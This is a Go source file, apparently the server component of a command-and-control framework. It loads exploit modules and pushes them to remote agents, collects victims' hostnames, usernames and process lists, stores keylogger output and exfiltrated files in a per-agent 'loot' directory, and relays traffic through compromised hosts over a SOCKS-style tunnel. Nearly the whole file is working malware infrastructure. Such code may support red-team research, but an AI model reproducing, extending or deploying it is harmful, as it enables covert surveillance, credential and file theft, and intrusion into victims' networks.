511 lines
13 KiB
Go
511 lines
13 KiB
Go
package main
|
|
|
|
import (
|
|
"bytes"
|
|
"fmt"
|
|
"io"
|
|
"io/fs"
|
|
"log"
|
|
"net"
|
|
"os"
|
|
"path/filepath"
|
|
"strconv"
|
|
"strings"
|
|
"sync"
|
|
"text/tabwriter"
|
|
"time"
|
|
"unicode/utf8"
|
|
)
|
|
|
|
type Module struct {
|
|
Name string // Module name (e.g., "print.exe")
|
|
Type string // Module type (e.g., "exe", "dll", "bin")
|
|
Path string // File path to the module
|
|
Description string // Description of the module
|
|
}
|
|
|
|
// Map that will hold modules/exploits
|
|
var modules = make(map[string]Module)
|
|
|
|
// Load modules from directory
|
|
func InitModules() error {
|
|
// Clear existing modules
|
|
modules = make(map[string]Module)
|
|
|
|
modulesDir := "./modules"
|
|
|
|
// Check if modules directory exists
|
|
if _, err := os.Stat(modulesDir); os.IsNotExist(err) {
|
|
return fmt.Errorf("modules directory does not exist: %s", modulesDir)
|
|
}
|
|
|
|
// Walk through the modules directory
|
|
err := filepath.Walk(modulesDir, func(path string, info fs.FileInfo, err error) error {
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
// Skip directories
|
|
if info.IsDir() {
|
|
return nil
|
|
}
|
|
|
|
// Get file extension as module type
|
|
fileName := info.Name()
|
|
fileExt := strings.TrimPrefix(filepath.Ext(fileName), ".")
|
|
|
|
// Only process supported module types
|
|
if fileExt != "exe" && fileExt != "dll" && fileExt != "bin" {
|
|
debugLog("Skipping unsupported file type: %s", path)
|
|
return nil
|
|
}
|
|
|
|
// Read description from accompanying .desc file if it exists
|
|
descPath := strings.TrimSuffix(path, filepath.Ext(path)) + ".desc"
|
|
description := "No description available"
|
|
|
|
if descData, err := os.ReadFile(descPath); err == nil {
|
|
description = strings.TrimSpace(string(descData))
|
|
}
|
|
|
|
// Create and add the module
|
|
module := Module{
|
|
Name: fileName,
|
|
Type: fileExt,
|
|
Path: path,
|
|
Description: description,
|
|
}
|
|
|
|
modules[fileName] = module
|
|
debugLog("Loaded module: %s (%s)", fileName, path)
|
|
|
|
return nil
|
|
})
|
|
|
|
if err != nil {
|
|
return fmt.Errorf("error walking modules directory: %v", err)
|
|
}
|
|
|
|
infoLog("Loaded %d modules from %s", len(modules), modulesDir)
|
|
return nil
|
|
}
|
|
|
|
// Handle information about system received from agent
|
|
func HandleSystemInfo(agentID, agentIP, sysInfo string) {
|
|
infoLog("Received system info from agent %s ", agentID)
|
|
messageParts := strings.Split(sysInfo, "|")
|
|
|
|
if len(messageParts) < 7 {
|
|
debugLog("Not enough parts in sysinfo")
|
|
return
|
|
}
|
|
newInfo := &AgentInfo{
|
|
OSVersion: messageParts[0],
|
|
Architecture: messageParts[1],
|
|
Hostname: messageParts[2],
|
|
Username: messageParts[3],
|
|
LocalIP: messageParts[4],
|
|
Procname: messageParts[5],
|
|
PID: messageParts[6],
|
|
}
|
|
|
|
newInfo.LastConnection = time.Now()
|
|
newInfo.RemoteIP = agentIP
|
|
|
|
UpdateAgent(agentID, newInfo)
|
|
}
|
|
|
|
// Formats the raw CSV process data into a nice output
|
|
func FormatProcessListOutput(agentID, rawData, taskID string) {
|
|
// Create a buffer for our formatted output
|
|
var buffer bytes.Buffer
|
|
|
|
// Create a tabwriter that will handle the column alignment
|
|
w := tabwriter.NewWriter(&buffer, 0, 0, 2, ' ', 0)
|
|
|
|
// Print a header banner
|
|
buffer.WriteString("\n[*] Process List\n")
|
|
buffer.WriteString("===============\n\n")
|
|
|
|
// Write the table header
|
|
fmt.Fprintln(w, "PID\tPPID\tName\tArch\tUser")
|
|
fmt.Fprintln(w, "---\t----\t----\t----\t----")
|
|
|
|
// Split the raw data into lines
|
|
lines := strings.Split(strings.TrimSpace(rawData), "\n")
|
|
|
|
// Process count
|
|
processCount := 0
|
|
|
|
// Parse each line and format it
|
|
for _, line := range lines {
|
|
// Skip empty lines
|
|
if len(line) == 0 {
|
|
continue
|
|
}
|
|
|
|
// Split the CSV line
|
|
parts := strings.Split(line, ",")
|
|
if len(parts) >= 5 {
|
|
pid := parts[0]
|
|
ppid := parts[1]
|
|
name := parts[2]
|
|
arch := parts[3]
|
|
user := parts[4]
|
|
|
|
// Format the line
|
|
fmt.Fprintf(w, "%s\t%s\t%s\t%s\t%s\n", pid, ppid, name, arch, user)
|
|
processCount++
|
|
}
|
|
}
|
|
|
|
// Flush the tabwriter
|
|
w.Flush()
|
|
|
|
// Add a summary at the end
|
|
buffer.WriteString(fmt.Sprintf("\n[+] Found %d processes\n", processCount))
|
|
|
|
operatorConn, exists := taskHandler.GetOperatorConnByTaskID(agentID, taskID)
|
|
if exists {
|
|
operatorConn.Write([]byte(buffer.Bytes()))
|
|
}
|
|
}
|
|
|
|
// Prepare and send encrypted module
|
|
func SendModule(agentConn net.Conn, agentID string, task *Task) {
|
|
debugLog("Initiating module transfer")
|
|
|
|
payloadSize := len(task.Payload)
|
|
debugLog("Preparing to send module. Size: %d bytes", payloadSize)
|
|
|
|
const MaxPayloadSize = 10 * 1024 * 1024 // 10 MB
|
|
if payloadSize > MaxPayloadSize {
|
|
debugLog("Payload size exceeds maximum allowed limit: %d bytes", payloadSize)
|
|
return
|
|
}
|
|
|
|
// Waiting for confirmation from agent
|
|
msg := make([]byte, 512)
|
|
agentConn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
|
n, err := agentConn.Read(msg)
|
|
if err != nil {
|
|
debugLog("Error or timeout reading ACK message during module transfer %s: %v", agentID, err)
|
|
return
|
|
}
|
|
|
|
ack_msg := strings.TrimSpace(string(msg[:n]))
|
|
if ack_msg != "ACK" {
|
|
debugLog("Unknown message during module transfer:%s", ack_msg)
|
|
return
|
|
}
|
|
debugLog("Received ACK from agent, sending module data")
|
|
|
|
bytesSent := 0
|
|
for bytesSent < payloadSize {
|
|
n, err := agentConn.Write(task.Payload[bytesSent:])
|
|
if err != nil {
|
|
debugLog("Error sending module data: %v", err)
|
|
return
|
|
}
|
|
bytesSent += n
|
|
}
|
|
debugLog("Module sent successfully to agent %s. Total bytes sent: %d", agentID, bytesSent)
|
|
}
|
|
|
|
// Processes keystrokes and save them to a file
|
|
func HandleKeyloggerMessage(agentID string, keystrokes string) {
|
|
|
|
log.Print("Keystrokes received")
|
|
|
|
// Sanitize the keystroke data by removing null bytes and invalid UTF-8 characters
|
|
keystrokes = strings.ReplaceAll(keystrokes, "\x00", "")
|
|
if !utf8.ValidString(keystrokes) {
|
|
keystrokes = strings.ToValidUTF8(keystrokes, "?")
|
|
}
|
|
|
|
// Create the loot directory for the agent if it doesn't exist
|
|
agentDir := filepath.Join("loot", agentID)
|
|
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
|
debugLog("Failed to create directory for agent %s: %v\n", agentID, err)
|
|
return
|
|
}
|
|
|
|
// Generate the filename using today's date
|
|
now := time.Now()
|
|
dateStr := now.Format("2006-01-02") // YYYY-MM-DD format
|
|
filename := fmt.Sprintf("%s-keystrokes.log", dateStr)
|
|
filePath := filepath.Join(agentDir, filename)
|
|
|
|
// Open the file in append mode, create if it doesn't exist
|
|
file, err := os.OpenFile(filePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
|
|
if err != nil {
|
|
debugLog("Failed to open file for agent %s: %v\n", agentID, err)
|
|
return
|
|
}
|
|
defer file.Close()
|
|
|
|
// Write the sanitized keystrokes to the file
|
|
if _, err := file.WriteString(keystrokes + "\n"); err != nil {
|
|
debugLog("Failed to write keystrokes for agent %s: %v\n", agentID, err)
|
|
}
|
|
}
|
|
|
|
// Process files sent by agent
|
|
func ReceiveFile(agentConn net.Conn, agentID string) {
|
|
debugLog("File transfer session initiated by agent %s", agentID)
|
|
lootPath := filepath.Join("loot", agentID)
|
|
|
|
for {
|
|
// Request metadata for the next file
|
|
if _, err := agentConn.Write([]byte("SEND_METADATA")); err != nil {
|
|
debugLog("Error sending SEND_METADATA to agent %s: %v", agentID, err)
|
|
return
|
|
}
|
|
|
|
// Receive metadata
|
|
buffer := make([]byte, 1024)
|
|
n, err := agentConn.Read(buffer)
|
|
if err != nil {
|
|
debugLog("Error reading metadata from agent %s: %v", agentID, err)
|
|
return
|
|
}
|
|
metadata := strings.TrimSpace(string(buffer[:n]))
|
|
if metadata == "ENDTRANSFER" {
|
|
debugLog("End of file transfer from agent %s", agentID)
|
|
return
|
|
}
|
|
|
|
// Parse metadata (size|path)
|
|
metaParts := strings.Split(metadata, "|")
|
|
if len(metaParts) != 2 {
|
|
debugLog("Invalid metadata from agent %s: %s", agentID, metadata)
|
|
return
|
|
}
|
|
fileSizeStr := metaParts[0]
|
|
filePath := metaParts[1]
|
|
filePath = strings.ReplaceAll(filePath, "\\", "/")
|
|
|
|
fileSize, err := strconv.ParseInt(fileSizeStr, 10, 64)
|
|
if err != nil {
|
|
debugLog("Invalid file size from agent %s: %s", agentID, fileSizeStr)
|
|
return
|
|
}
|
|
|
|
// Prepare to receive file data
|
|
fullFilePath := filepath.Join(lootPath, filePath)
|
|
err = os.MkdirAll(filepath.Dir(fullFilePath), os.ModePerm)
|
|
if err != nil {
|
|
debugLog("Error creating directory for file %s: %v", fullFilePath, err)
|
|
return
|
|
}
|
|
|
|
file, err := os.Create(fullFilePath)
|
|
if err != nil {
|
|
debugLog("Error creating file %s for agent %s: %v", fullFilePath, agentID, err)
|
|
return
|
|
}
|
|
defer file.Close()
|
|
|
|
// Request file data
|
|
if _, err := agentConn.Write([]byte("SEND_DATA")); err != nil {
|
|
debugLog("Error sending SEND_DATA to agent %s: %v", agentID, err)
|
|
return
|
|
}
|
|
|
|
// Receive file data
|
|
debugLog("Receiving file from agent %s: %s (size: %d bytes)", agentID, filePath, fileSize)
|
|
var totalBytesWritten int64
|
|
buffer = make([]byte, 4096)
|
|
for totalBytesWritten < fileSize {
|
|
bytesToRead := int64(len(buffer))
|
|
if remaining := fileSize - totalBytesWritten; remaining < bytesToRead {
|
|
bytesToRead = remaining
|
|
}
|
|
|
|
n, err := agentConn.Read(buffer[:bytesToRead])
|
|
if err != nil && err != io.EOF {
|
|
debugLog("Error reading file data from agent %s: %v", agentID, err)
|
|
return
|
|
}
|
|
|
|
bytesWritten, writeErr := file.Write(buffer[:n])
|
|
if writeErr != nil {
|
|
debugLog("Error writing file %s for agent %s: %v", fullFilePath, agentID, writeErr)
|
|
return
|
|
}
|
|
totalBytesWritten += int64(bytesWritten)
|
|
}
|
|
|
|
// Notify operators
|
|
message := fmt.Sprintf("File saved: %s (total size: %d bytes)", fullFilePath, totalBytesWritten)
|
|
log.Print(message)
|
|
SendMessageToAllOperators(message)
|
|
|
|
// Request next file
|
|
if _, err := agentConn.Write([]byte("NEXT")); err != nil {
|
|
debugLog("Error sending NEXT to agent %s: %v", agentID, err)
|
|
return
|
|
}
|
|
}
|
|
}
|
|
|
|
// Send file to agent
|
|
func SendFile(conn net.Conn, localFilePath string, remoteFilePath string) {
|
|
log.Println("Waiting for confirmation from agent")
|
|
|
|
buffer := make([]byte, 4096)
|
|
|
|
// Wait for "SEND_METADATA"
|
|
n, err := conn.Read(buffer)
|
|
if err != nil || string(buffer[:n]) != "SEND_METADATA" {
|
|
log.Println("Error or unexpected command:", err)
|
|
return
|
|
}
|
|
|
|
// Open file and get metadata
|
|
file, err := os.Open(localFilePath)
|
|
if err != nil {
|
|
log.Println("Failed to open file:", err)
|
|
return
|
|
}
|
|
defer file.Close()
|
|
|
|
stat, err := file.Stat()
|
|
if err != nil {
|
|
log.Println("Failed to stat file:", err)
|
|
return
|
|
}
|
|
|
|
// Send metadata (format: "filesize|filename")
|
|
meta := fmt.Sprintf("%d|%s", stat.Size(), remoteFilePath)
|
|
if _, err := conn.Write([]byte(meta)); err != nil {
|
|
log.Println("Failed to send metadata:", err)
|
|
return
|
|
}
|
|
|
|
// Wait for "SEND_DATA"
|
|
n, err = conn.Read(buffer)
|
|
if err != nil || string(buffer[:n]) != "SEND_DATA" {
|
|
log.Println("Expected SEND_DATA, got:", string(buffer[:n]), err)
|
|
return
|
|
}
|
|
|
|
// Send file contents
|
|
totalSent := int64(0)
|
|
for {
|
|
n, err := file.Read(buffer)
|
|
if err != nil && err != io.EOF {
|
|
log.Println("Error reading file:", err)
|
|
return
|
|
}
|
|
if n == 0 {
|
|
break
|
|
}
|
|
if _, err := conn.Write(buffer[:n]); err != nil {
|
|
log.Println("Error sending data:", err)
|
|
return
|
|
}
|
|
totalSent += int64(n)
|
|
}
|
|
debugLog("Sent file: %s (%d bytes)\n", localFilePath, totalSent)
|
|
|
|
// Wait for "NEXT"
|
|
n, err = conn.Read(buffer)
|
|
if err != nil || string(buffer[:n]) != "NEXT" {
|
|
log.Println("Expected NEXT, got:", string(buffer[:n]), err)
|
|
return
|
|
}
|
|
|
|
// Send "END"
|
|
if _, err := conn.Write([]byte("END")); err != nil {
|
|
log.Println("Failed to send END:", err)
|
|
return
|
|
}
|
|
|
|
// Wait for "ENDTRANSFER"
|
|
n, err = conn.Read(buffer)
|
|
if err != nil {
|
|
log.Println("Error waiting for ENDTRANSFER:", err)
|
|
return
|
|
}
|
|
if strings.TrimSpace(string(buffer[:n])) == "ENDTRANSFER" {
|
|
log.Println("Transfer successfully completed.")
|
|
} else {
|
|
log.Println("Unexpected final message:", string(buffer[:n]))
|
|
}
|
|
}
|
|
|
|
// SOCKS5 proxy
|
|
// listens for agent and client connections on separate ports
|
|
func StartRelayServer() error {
|
|
|
|
// Agent
|
|
agentLn, err := net.Listen("tcp", "0.0.0.0:30889")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
log.Println("Listening for AGENT on", "0.0.0.0:30889")
|
|
|
|
// Client
|
|
clientLn, err := net.Listen("tcp", "0.0.0.0:30900")
|
|
if err != nil {
|
|
agentLn.Close()
|
|
return err
|
|
}
|
|
log.Println("Listening for CLIENT on", "0.0.0.0:30900")
|
|
|
|
go func() {
|
|
for {
|
|
agentConn, err := agentLn.Accept()
|
|
if err != nil {
|
|
log.Println("Error accepting client:", err)
|
|
continue
|
|
}
|
|
log.Println("AGENT connected:", agentConn.RemoteAddr())
|
|
|
|
go handleTunnel(clientLn, agentConn)
|
|
}
|
|
}()
|
|
|
|
return nil
|
|
}
|
|
|
|
// SOCKS5 proxy
|
|
// Start tunnel
|
|
func handleTunnel(clientLn net.Listener, agentConn net.Conn) {
|
|
defer agentConn.Close()
|
|
|
|
log.Println("Waiting for CLIENT...")
|
|
clientConn, err := clientLn.Accept()
|
|
if err != nil {
|
|
log.Println("Error accepting agent:", err)
|
|
return
|
|
}
|
|
log.Println("CLIENT connected:", clientConn.RemoteAddr())
|
|
defer clientConn.Close()
|
|
|
|
var wg sync.WaitGroup
|
|
wg.Add(2)
|
|
|
|
go pipe(&wg, clientConn, agentConn)
|
|
go pipe(&wg, agentConn, clientConn)
|
|
|
|
wg.Wait()
|
|
log.Println("Tunnel between client and agent closed.")
|
|
}
|
|
|
|
// Exchange data
|
|
func pipe(wg *sync.WaitGroup, src net.Conn, dst net.Conn) {
|
|
defer wg.Done()
|
|
|
|
_, err := io.Copy(dst, src)
|
|
if err != nil {
|
|
log.Printf("Pipe error: %v", err)
|
|
}
|
|
|
|
// Gracefully close write direction only
|
|
if tcpDst, ok := dst.(*net.TCPConn); ok {
|
|
tcpDst.CloseWrite()
|
|
}
|
|
}
|